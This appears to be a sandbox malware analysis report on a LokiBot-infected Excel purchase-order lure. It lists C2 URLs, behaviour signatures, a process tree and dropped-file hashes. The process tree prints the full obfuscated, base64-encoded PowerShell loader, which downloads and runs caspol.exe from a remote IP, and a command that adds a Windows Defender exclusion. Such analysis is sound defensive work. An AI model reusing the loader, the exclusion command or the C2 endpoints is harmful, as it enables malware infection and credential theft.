Analysis

  • max time kernel
    139s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18-11-2024 17:10

General

  • Target

    PO-000041492.xls

  • Size

    1.1MB

  • MD5

    f69d18b27ddddb4274a97434c6a01ae2

  • SHA1

    79a2cf394e8fe22341922a6490e9d58a87e2f748

  • SHA256

    555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7

  • SHA512

    32acd768dc2ec5095216e946f8cd119174ee252d4691d4816f91881a3c5439db68feffe24bc85a16dcdf9caf3d53b82fa89f35b89540148e8c862664c851a77c

  • SSDEEP

    24576:6uq9PLiijE2Z5Z2amowshXCdQtF84LJQohVsx7ACKg0q9JfCazDVNPCTy2vo:6uEPLiij7Z5ZKowsAsFjLJQohVKEg0qR

Malware Config

Extracted

Family

lokibot

C2

http://94.156.177.95/maxzi/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-000041492.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2984
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
      "C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1588
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1548
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB98.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEB97.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1396
      • C:\Users\Admin\AppData\Roaming\caspol.exe
        "C:\Users\Admin\AppData\Roaming\caspol.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1320
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1276
        • C:\Users\Admin\AppData\Roaming\caspol.exe
          "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Executes dropped EXE
          PID:1076
        • C:\Users\Admin\AppData\Roaming\caspol.exe
          "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Executes dropped EXE
          PID:1728
        • C:\Users\Admin\AppData\Roaming\caspol.exe
          "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Executes dropped EXE
          PID:2452
        • C:\Users\Admin\AppData\Roaming\caspol.exe
          "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1724

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

    Filesize

    717B

    MD5

    822467b728b7a66b081c91795373789a

    SHA1

    d8f2f02e1eef62485a9feffd59ce837511749865

    SHA256

    af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

    SHA512

    bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

    Filesize

    345B

    MD5

    dfe9d40108cd6499968560d0319998c6

    SHA1

    6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73

    SHA256

    1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e

    SHA512

    5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

    Filesize

    192B

    MD5

    c8f867e8804835acdcef809edcd6b49d

    SHA1

    7fc48e4a1d19ce534efc289e091790586585d3a5

    SHA256

    3da28514f0baa9c4f173025078582737df6ecd23fcd43c5a8a1bb58363fea8fe

    SHA512

    23517f9d295f1f7488f71d31ff1dd5e82cb14b22aa19d23ff88048a2841e351d4d846415dbf5f8e5abcb3f9b6c22481cf29f9145c1e9e9d72533a737c70a94f4

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

    Filesize

    544B

    MD5

    ee08b497c96a8862217c35095e888215

    SHA1

    5f6c3fc50164607899dd42a4c70599c065f6adfd

    SHA256

    da9f84f0feaf006c09439cd0c4a1ec0b4dab37b72ebb2b0c03909826ea7bac1e

    SHA512

    4d731a97165e890f513512467541dfac91bb4db424aae0dd44d496f613b8ed2426040d2eb77bce7f46a123c49adf0b37703af6d6235daeeb50e53e25352f0579

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\633SXO0D\seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor[1].hta

    Filesize

    8KB

    MD5

    db21eb9cf86a8314900d693c5a40c4e9

    SHA1

    1dd5c5e45f4c0224a6c4f4ce443bcb542fc5913c

    SHA256

    da1ae3eef8260a07b09c7978317fed23be8c431f2620629a9bc3f170df113102

    SHA512

    b589c6d47dd7dc29d3e8e6823c68966ee388d5e78fbc5b300abd38829443889591efe774564c861349dcad7b1981f9317b60fb1c19a3b232f12c64e403783f2c

  • C:\Users\Admin\AppData\Local\Temp\CabE070.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESEB98.tmp

    Filesize

    1KB

    MD5

    a05e07c6cfc6197d9d65439443f8606e

    SHA1

    ff84ed75cdda24a6f3844d026627c78b6ac50f1f

    SHA256

    6ad274e96b0855672b2af7c8c88b89e20418c3f0f0569445fbabf64542e904d0

    SHA512

    0c8e1293499d564925235a83a124d8cbba777f4a8871b9d97b5bf9d72949308c9b0d77b15152bfc224abc4bd8cb964c911bf2b04121051e2669eded2970f932d

  • C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.dll

    Filesize

    3KB

    MD5

    a7e56b3d3e83870d9d1bcc486415033b

    SHA1

    5f7fcccb2c8a380587d88af4bd33986d47e90296

    SHA256

    9081351e5e5cd918353f6ec5b3968a7201188eac04dc39cea6a231e08c1a996f

    SHA512

    4fc729f47854301b444d3b3790e5aeeee27c42014f102e29dff67c1622642fadd48d513a977551fc73de564d40fe72f42ac4df57661169f2093cbead805fc51f

  • C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.pdb

    Filesize

    7KB

    MD5

    75a2c613c4348cd881173825eb038e90

    SHA1

    2d0c4b17275aeac05736dd144fd6e9a770ba71b9

    SHA256

    ac26e14fd463b1042542156e9893f82b63036c9f1ec308464b6fb2962e76b404

    SHA512

    9e54b84591b6ad5e85d20fcbbcae5f5e94fced1443490accc38a2f34468ac13acb58cfca5317516b8ea6ea1e702e42d9318eed7425077ef79e56bf161b1c6310

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    d915575efadd9013b016eadccec52ceb

    SHA1

    fe411ae53d7131ac28b2e3c93c60ca19c247a54b

    SHA256

    6b561cda71c61f2dc677f2a3919fe4c5c85b1e5bb28deb37f15a5a955ef650dc

    SHA512

    9d291df4dd3673359651bd6629337d9d08d64759241b6f063bf1d86b2cb6019f2327bf666e5b261f6d52063352314b6588a475f8282216d24a459f2c08957cd8

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCEB97.tmp

    Filesize

    652B

    MD5

    ed8692e73778346c5c119c739eab4ecd

    SHA1

    7b5a8c6a74d235e7902176089cf2dfe7bb2dbe2c

    SHA256

    8b6bbdbd3ef1e9e5855a819c670bbfd435a61c1783ee26bace1a5510bd01eee9

    SHA512

    2bddbca89f1eb952a57e7ed28d9ef5bd6a076c978d49441faf164a161419b6028870fb4070a2d78ceeec63a630b64d92ef9a50f2ac14fbf3e01abdb1153775d5

  • \??\c:\Users\Admin\AppData\Local\Temp\qbdoz_oh.0.cs

    Filesize

    477B

    MD5

    f97fc8141f59078b4354b513d3b083ac

    SHA1

    293904ab8d5f38a2f0764ee2e35e97e590d8c737

    SHA256

    f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e

    SHA512

    87b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c

  • \??\c:\Users\Admin\AppData\Local\Temp\qbdoz_oh.cmdline

    Filesize

    309B

    MD5

    9157e976f2a0ea29863876e8a4c1e2cb

    SHA1

    3697e747c782a20a02c3036d5e20b96388d21c0c

    SHA256

    9691814f0c819d7d1def6e457f34c40e4e9a4d84481eed226711ba6fd4be68ba

    SHA512

    8b17c624e7f95dd2c6dfcbd72256ef0c3b329acb1c64763346f5456a84667c2cbce6e12e19d74195dbbab61c2096e2499f2e67351270a67b2b6f8903fe0a735b

  • \Users\Admin\AppData\Roaming\caspol.exe

    Filesize

    570KB

    MD5

    80358303e33cef71434e6e4a621262c5

    SHA1

    e7a22b4e5af741f9b4d9982f36164b276bba459a

    SHA256

    f3246d0ca5ca8e69f98ca33b2c17813d5d862049dcfa9931dbcbaaaf7543a1f7

    SHA512

    5e68b8c63afe7c0e91396f42f485cd84946235ab11d9ce7107bbcf75568ff3087d5e14378f87d77733376e332f516f26db838b870ca580569178b15c0a90761e

  • memory/1320-71-0x0000000000960000-0x0000000000972000-memory.dmp

    Filesize

    72KB

  • memory/1320-72-0x0000000005810000-0x0000000005874000-memory.dmp

    Filesize

    400KB

  • memory/1320-70-0x00000000002E0000-0x0000000000374000-memory.dmp

    Filesize

    592KB

  • memory/1724-82-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1724-89-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1724-87-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1724-86-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1724-84-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1724-80-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1724-78-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1724-76-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2736-16-0x0000000002450000-0x0000000002452000-memory.dmp

    Filesize

    8KB

  • memory/2984-56-0x00000000720BD000-0x00000000720C8000-memory.dmp

    Filesize

    44KB

  • memory/2984-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2984-17-0x0000000002D90000-0x0000000002D92000-memory.dmp

    Filesize

    8KB

  • memory/2984-1-0x00000000720BD000-0x00000000720C8000-memory.dmp

    Filesize

    44KB